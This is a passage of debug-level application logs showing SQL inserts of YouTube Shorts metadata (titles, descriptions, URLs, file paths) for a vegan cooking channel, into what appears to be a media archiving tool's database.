("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this episode we travelled interdimensionally to find some of the weirdest cereals to taste test. How does this bowl of apple Tearios taste...find out in the full episode here: https://youtu.be/61RluSVNks4", "Cheerios VS Tearios - The Interdimensional Kitchen inspired by Rick and Morty #shorts", "891b02a7-d891-4a5f-bb11-f7421d31f1dc", 1, [], 16, false, "1aE4srIDSXY", "https://www.youtube.com/shorts/1aE4srIDSXY", 243, "/downloads/downloads/alec/Steamy Vegan/2022-09-14 Cheerios VS Tearios - The Interdimensional Kitchen inspired by Rick and Morty #shorts/Cheerios VS Tearios - The Interdimensional Kitchen inspired by Rick and Morty #shorts [1aE4srIDSXY].NA", false, false, true, 1, ~U[2022-09-14 18:17:00Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "In this episode we travelled interdimensionally to find some of the weirdest cereals to taste test. How does this bowl of apple Tearios taste...find out in the full episode here: https://youtu.be/61RluSVNks4", "Cheerios VS Tearios - The Interdimensional Kitchen inspired by Rick and Morty #shorts", 1, 16, false, "1aE4srIDSXY", "https://www.youtube.com/shorts/1aE4srIDSXY", "/downloads/downloads/alec/Steamy Vegan/2022-09-14 Cheerios VS Tearios - The Interdimensional Kitchen inspired by Rick and Morty #shorts/Cheerios VS Tearios - The Interdimensional Kitchen inspired by Rick and Morty #shorts [1aE4srIDSXY].NA", true, ~U[2022-09-14 18:17:00Z]] 20:31:10.173 [debug] QUERY OK source="sources" db=0.6ms idle=6.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.175 [debug] QUERY OK source="media_items" db=1.8ms idle=5.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-09-09 16:00:18Z], 1] 20:31:10.176 [debug] QUERY OK source="media_items" db=0.8ms idle=6.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Tomorrow we launch our first episode of a new series called Good Morning Vegan Fam where we'll be doing all kinds of strange food taste tests, reactions, reviews and food challenges. Subscribe and prepare yourself to go interdimensional, like Rick and Morty, with us in episode 1.", "Reactions to Strange Interdimensional Foods 🤢 #shorts #youtubeshorts", "6f5803b1-a15c-447b-95f4-6f02e73d8548", 1, [], 15, false, "F-BU7RrjX2M", "https://www.youtube.com/shorts/F-BU7RrjX2M", 244, "/downloads/downloads/alec/Steamy Vegan/2022-09-09 Reactions to Strange Interdimensional Foods 🤢 #shorts #youtubeshorts/Reactions to Strange Interdimensional Foods 🤢 #shorts #youtubeshorts [F-BU7RrjX2M].NA", false, false, true, 2, ~U[2022-09-09 16:00:18Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "Tomorrow we launch our first episode of a new series called Good Morning Vegan Fam where we'll be doing all kinds of strange food taste tests, reactions, reviews and food challenges. Subscribe and prepare yourself to go interdimensional, like Rick and Morty, with us in episode 1.", "Reactions to Strange Interdimensional Foods 🤢 #shorts #youtubeshorts", 1, 15, false, "F-BU7RrjX2M", "https://www.youtube.com/shorts/F-BU7RrjX2M", "/downloads/downloads/alec/Steamy Vegan/2022-09-09 Reactions to Strange Interdimensional Foods 🤢 #shorts #youtubeshorts/Reactions to Strange Interdimensional Foods 🤢 #shorts #youtubeshorts [F-BU7RrjX2M].NA", true, ~U[2022-09-09 16:00:18Z]] 20:31:10.177 [debug] QUERY OK source="sources" db=0.6ms idle=5.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.180 [debug] QUERY OK source="media_items" db=2.0ms idle=5.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-09-08 21:00:10Z], 1] 20:31:10.182 [debug] QUERY OK source="media_items" db=1.7ms idle=6.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["We're excited to have you join us for the premiere of our weekly Saturday morning food taste test and review show. We're both a bit goofy so hopefully you get a few laughs from our pain and torture during some of these funny taste tests and challenges.\n\nSubscribe and stay tuned for season 1, episode 1! Thanks for your support! Janelle and Brad", "Weekly Morning Show Premiering This Saturday ❤️#shorts", "471f3e51-fb72-4858-a089-c762d26ca6ba", 1, [], 20, false, "EPPmya1cyPw", "https://www.youtube.com/shorts/EPPmya1cyPw", 245, "/downloads/downloads/alec/Steamy Vegan/2022-09-08 Weekly Morning Show Premiering This Saturday ❤️#shorts/Weekly Morning Show Premiering This Saturday ❤️#shorts [EPPmya1cyPw].NA", false, false, true, 2, ~U[2022-09-08 21:00:10Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "We're excited to have you join us for the premiere of our weekly Saturday morning food taste test and review show. We're both a bit goofy so hopefully you get a few laughs from our pain and torture during some of these funny taste tests and challenges.\n\nSubscribe and stay tuned for season 1, episode 1! Thanks for your support! Janelle and Brad", "Weekly Morning Show Premiering This Saturday ❤️#shorts", 1, 20, false, "EPPmya1cyPw", "https://www.youtube.com/shorts/EPPmya1cyPw", "/downloads/downloads/alec/Steamy Vegan/2022-09-08 Weekly Morning Show Premiering This Saturday ❤️#shorts/Weekly Morning Show Premiering This Saturday ❤️#shorts [EPPmya1cyPw].NA", true, ~U[2022-09-08 21:00:10Z]] 20:31:10.183 [debug] QUERY OK source="sources" db=1.5ms idle=6.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.185 [debug] QUERY OK source="media_items" db=1.8ms idle=7.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-09-08 19:05:40Z], 1] 20:31:10.187 [debug] QUERY OK source="media_items" db=0.7ms idle=8.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This Saturday will be our very first episode of Good Morning Vegan Fam, a morning show where we do weird food taste tests, food reviews, and food challenges. The whole goal of this show is to have fun and hopefully bring a few laughs to your morning.\n\nWe hope you enjoy and don't forget to subscribe so you don't miss any of the episodes in this series! Thanks for your support! Brad and Janelle", "Extremely Weird Food Taste Tests 😱🤢#shorts #youtubeshorts", "161dee96-5e7a-4d55-928f-989fa25e82ed", 1, [], 15, false, "GdEvtXPLd0I", "https://www.youtube.com/shorts/GdEvtXPLd0I", 246, "/downloads/downloads/alec/Steamy Vegan/2022-09-08 Extremely Weird Food Taste Tests 😱🤢#shorts #youtubeshorts/Extremely Weird Food Taste Tests 😱🤢#shorts #youtubeshorts [GdEvtXPLd0I].NA", false, false, true, 2, ~U[2022-09-08 19:05:40Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "This Saturday will be our very first episode of Good Morning Vegan Fam, a morning show where we do weird food taste tests, food reviews, and food challenges. The whole goal of this show is to have fun and hopefully bring a few laughs to your morning.\n\nWe hope you enjoy and don't forget to subscribe so you don't miss any of the episodes in this series! Thanks for your support! Brad and Janelle", "Extremely Weird Food Taste Tests 😱🤢#shorts #youtubeshorts", 1, 15, false, "GdEvtXPLd0I", "https://www.youtube.com/shorts/GdEvtXPLd0I", "/downloads/downloads/alec/Steamy Vegan/2022-09-08 Extremely Weird Food Taste Tests 😱🤢#shorts #youtubeshorts/Extremely Weird Food Taste Tests 😱🤢#shorts #youtubeshorts [GdEvtXPLd0I].NA", true, ~U[2022-09-08 19:05:40Z]] 20:31:10.188 [debug] QUERY OK source="sources" db=1.0ms idle=7.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.191 [debug] QUERY OK source="media_items" db=2.4ms idle=6.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-09-06 17:27:22Z], 1] 20:31:10.192 [debug] QUERY OK source="media_items" db=0.7ms idle=7.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["We taste tested 4 of the top vegan cheeses and tried them out in vegan grilled cheeses. We also had a non vegan stop by so we could get their reaction to these vegan cheeses.\n\nCheck out the full video here: https://youtu.be/lgPeexeqpJw", "What a Non Vegan Thinks of Vegan Cheeses Taste Test 🤢#shorts", "8124bbb7-6b79-4fba-9e9b-c141230b510b", 1, [], 26, false, "sstBvNHrm04", "https://www.youtube.com/shorts/sstBvNHrm04", 247, "/downloads/downloads/alec/Steamy Vegan/2022-09-06 What a Non Vegan Thinks of Vegan Cheeses Taste Test 🤢#shorts/What a Non Vegan Thinks of Vegan Cheeses Taste Test 🤢#shorts [sstBvNHrm04].NA", false, false, true, 1, ~U[2022-09-06 17:27:22Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "We taste tested 4 of the top vegan cheeses and tried them out in vegan grilled cheeses. We also had a non vegan stop by so we could get their reaction to these vegan cheeses.\n\nCheck out the full video here: https://youtu.be/lgPeexeqpJw", "What a Non Vegan Thinks of Vegan Cheeses Taste Test 🤢#shorts", 1, 26, false, "sstBvNHrm04", "https://www.youtube.com/shorts/sstBvNHrm04", "/downloads/downloads/alec/Steamy Vegan/2022-09-06 What a Non Vegan Thinks of Vegan Cheeses Taste Test 🤢#shorts/What a Non Vegan Thinks of Vegan Cheeses Taste Test 🤢#shorts [sstBvNHrm04].NA", true, ~U[2022-09-06 17:27:22Z]] 20:31:10.193 [debug] QUERY OK source="sources" db=0.9ms idle=6.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.196 [debug] QUERY OK source="media_items" db=1.8ms idle=7.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-09-05 16:40:00Z], 1] 20:31:10.197 [debug] QUERY OK source="media_items" db=1.0ms idle=8.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["EASY 4-INGREDIENT BLUEBERRY SAUCE 🫐\n\nIf you just stocked up on end-of-summer blueberries then you NEED to try this easy blueberry sauce! 💙 Perfect for waffles, pancakes, French toast and oatmeal 😌\n\nSave this post for later! ✔️ \n\nIngredients: ~ 2 cups fresh or frozen 🫐 - 2 tbsp maple syrup - 1.5 tbsp tapioca starch - 2 tbsp lemon juice 🍋 \nIn a saucepan combine the blueberries with the tapioca starch, then drizzle the maple syrup and stir to combine. Bring to a low boil on medium high heat, adding about 1/2 cup of water as needed to prevent sticking/burning. Once bubbling, reduce heat to medium low and add pinch of salt and lemon juice, stirring frequently. Once the sauce has reduced to your desired thickness/runniness remove from the heat and enjoy to your hearts content 💙\n\nFollow @steamyvegankitchen for more delicious plant based recipes! 🌱", "4-Ingredient Blueberry Sauce 🫐😌", "2131084d-559a-40bd-92ed-dc6544a904b3", 1, [], 15, false, "YthJ8QFmPjw", "https://www.youtube.com/shorts/YthJ8QFmPjw", 248, "/downloads/downloads/alec/Steamy Vegan/2022-09-05 4-Ingredient Blueberry Sauce 🫐😌/4-Ingredient Blueberry Sauce 🫐😌 [YthJ8QFmPjw].NA", false, false, true, 1, ~U[2022-09-05 16:40:00Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "EASY 4-INGREDIENT BLUEBERRY SAUCE 🫐\n\nIf you just stocked up on end-of-summer blueberries then you NEED to try this easy blueberry sauce! 💙 Perfect for waffles, pancakes, French toast and oatmeal 😌\n\nSave this post for later! ✔️ \n\nIngredients: ~ 2 cups fresh or frozen 🫐 - 2 tbsp maple syrup - 1.5 tbsp tapioca starch - 2 tbsp lemon juice 🍋 \nIn a saucepan combine the blueberries with the tapioca starch, then drizzle the maple syrup and stir to combine. Bring to a low boil on medium high heat, adding about 1/2 cup of water as needed to prevent sticking/burning. Once bubbling, reduce heat to medium low and add pinch of salt and lemon juice, stirring frequently. Once the sauce has reduced to your desired thickness/runniness remove from the heat and enjoy to your hearts content 💙\n\nFollow @steamyvegankitchen for more delicious plant based recipes! 🌱", "4-Ingredient Blueberry Sauce 🫐😌", 1, 15, false, "YthJ8QFmPjw", "https://www.youtube.com/shorts/YthJ8QFmPjw", "/downloads/downloads/alec/Steamy Vegan/2022-09-05 4-Ingredient Blueberry Sauce 🫐😌/4-Ingredient Blueberry Sauce 🫐😌 [YthJ8QFmPjw].NA", true, ~U[2022-09-05 16:40:00Z]] 20:31:10.198 [debug] QUERY OK source="sources" db=0.7ms idle=6.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.200 [debug] QUERY OK source="media_items" db=1.8ms idle=6.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-09-03 17:15:02Z], 1] 20:31:10.201 [debug] QUERY OK source="media_items" db=0.6ms idle=7.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["A glimpse into what I eat in a week for breakfast 😌 I have 5 easy vegan recipes for you to check out in the full video on my channel! https://youtu.be/_QIVV-y7GQg", "What I eat in a week for breakfast 🧇 5 easy vegan recipes 🌱", "c16021f5-105e-4de5-af5c-77afabff0973", 1, [], 15, false, "wpINsngfF6M", "https://www.youtube.com/shorts/wpINsngfF6M", 249, "/downloads/downloads/alec/Steamy Vegan/2022-09-03 What I eat in a week for breakfast 🧇 5 easy vegan recipes 🌱/What I eat in a week for breakfast 🧇 5 easy vegan recipes 🌱 [wpINsngfF6M].NA", false, false, true, 1, ~U[2022-09-03 17:15:02Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "A glimpse into what I eat in a week for breakfast 😌 I have 5 easy vegan recipes for you to check out in the full video on my channel! https://youtu.be/_QIVV-y7GQg", "What I eat in a week for breakfast 🧇 5 easy vegan recipes 🌱", 1, 15, false, "wpINsngfF6M", "https://www.youtube.com/shorts/wpINsngfF6M", "/downloads/downloads/alec/Steamy Vegan/2022-09-03 What I eat in a week for breakfast 🧇 5 easy vegan recipes 🌱/What I eat in a week for breakfast 🧇 5 easy vegan recipes 🌱 [wpINsngfF6M].NA", true, ~U[2022-09-03 17:15:02Z]] 20:31:10.202 [debug] QUERY OK source="sources" db=0.6ms idle=5.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.204 [debug] QUERY OK source="media_items" db=1.9ms idle=5.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-08-27 17:50:00Z], 1] 20:31:10.205 [debug] QUERY OK source="media_items" db=0.7ms idle=6.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Why I meal prep for weight loss on a vegan diet 🌱 I find that if you have food that is already prepared, that you spent time and money on, you will be more likely to eat it than reaching for quick fixes and foods that are not very healthy and will likely derail the weight loss progress you’re making. \n\nWatch my latest Vegan Meal Pre For Weight Loss ➡️\nhttps://youtu.be/SG55bgKwvDg", "Why I meal prep for weight loss! Vegan meal prep for weight loss 🌱", "6bb1eed1-3d41-4e4b-aaf2-a266b64d1ceb", 1, [], 15, false, "kpKPq2W0Ekw", "https://www.youtube.com/shorts/kpKPq2W0Ekw", 250, "/downloads/downloads/alec/Steamy Vegan/2022-08-27 Why I meal prep for weight loss! Vegan meal prep for weight loss 🌱/Why I meal prep for weight loss! Vegan meal prep for weight loss 🌱 [kpKPq2W0Ekw].NA", false, false, true, 2, ~U[2022-08-27 17:50:00Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "Why I meal prep for weight loss on a vegan diet 🌱 I find that if you have food that is already prepared, that you spent time and money on, you will be more likely to eat it than reaching for quick fixes and foods that are not very healthy and will likely derail the weight loss progress you’re making. \n\nWatch my latest Vegan Meal Pre For Weight Loss ➡️\nhttps://youtu.be/SG55bgKwvDg", "Why I meal prep for weight loss! Vegan meal prep for weight loss 🌱", 1, 15, false, "kpKPq2W0Ekw", "https://www.youtube.com/shorts/kpKPq2W0Ekw", "/downloads/downloads/alec/Steamy Vegan/2022-08-27 Why I meal prep for weight loss! Vegan meal prep for weight loss 🌱/Why I meal prep for weight loss! Vegan meal prep for weight loss 🌱 [kpKPq2W0Ekw].NA", true, ~U[2022-08-27 17:50:00Z]] 20:31:10.206 [debug] QUERY OK source="sources" db=0.5ms idle=5.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.209 [debug] QUERY OK source="media_items" db=1.7ms idle=5.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-08-27 14:00:17Z], 1] 20:31:10.210 [debug] QUERY OK source="media_items" db=0.7ms idle=7.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This easy 30 minute vegan and high protein linguine and meatballs pasta is soooo delicious. Gigi Hadid makes a similar pasta but I think Brad might have her beat with this vegan one.\n\nFull Video Here: https://youtu.be/Ie88RmaBHA8", "Easy Vegan High Protein Rosé Linguine and Meatballs 🍝🤤 #shorts #youtubeshorts", "588d01b5-38d3-4270-8461-d376d8603eb2", 1, [], 15, false, "Yip7uf7jC78", "https://www.youtube.com/shorts/Yip7uf7jC78", 251, "/downloads/downloads/alec/Steamy Vegan/2022-08-27 Easy Vegan High Protein Rosé Linguine and Meatballs 🍝🤤 #shorts #youtubeshorts/Easy Vegan High Protein Rosé Linguine and Meatballs 🍝🤤 #shorts #youtubeshorts [Yip7uf7jC78].NA", false, false, true, 2, ~U[2022-08-27 14:00:17Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "This easy 30 minute vegan and high protein linguine and meatballs pasta is soooo delicious. Gigi Hadid makes a similar pasta but I think Brad might have her beat with this vegan one.\n\nFull Video Here: https://youtu.be/Ie88RmaBHA8", "Easy Vegan High Protein Rosé Linguine and Meatballs 🍝🤤 #shorts #youtubeshorts", 1, 15, false, "Yip7uf7jC78", "https://www.youtube.com/shorts/Yip7uf7jC78", "/downloads/downloads/alec/Steamy Vegan/2022-08-27 Easy Vegan High Protein Rosé Linguine and Meatballs 🍝🤤 #shorts #youtubeshorts/Easy Vegan High Protein Rosé Linguine and Meatballs 🍝🤤 #shorts #youtubeshorts [Yip7uf7jC78].NA", true, ~U[2022-08-27 14:00:17Z]] 20:31:10.211 [debug] QUERY OK source="sources" db=0.6ms idle=6.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.213 [debug] QUERY OK source="media_items" db=1.7ms idle=5.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-08-26 23:09:53Z], 1] 20:31:10.214 [debug] QUERY OK source="media_items" db=0.7ms idle=7.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["We've got a new vegan, high protein, oil free, rose linguine pasta live on the channel today. If you want an easy to make, vegan, high protein pasta that's definitely not sexy to eat but full of so much flavor then you'll want to check this recipe video out!\n\nFull Video Link: https://youtu.be/Ie88RmaBHA8", "You Can Make Eating Pasta Sexy 😱😮😉#shorts #youtubeshorts", "94c300fd-a975-499b-868a-a83b83684bc0", 1, [], 15, false, "Nhd6YWh6_TQ", 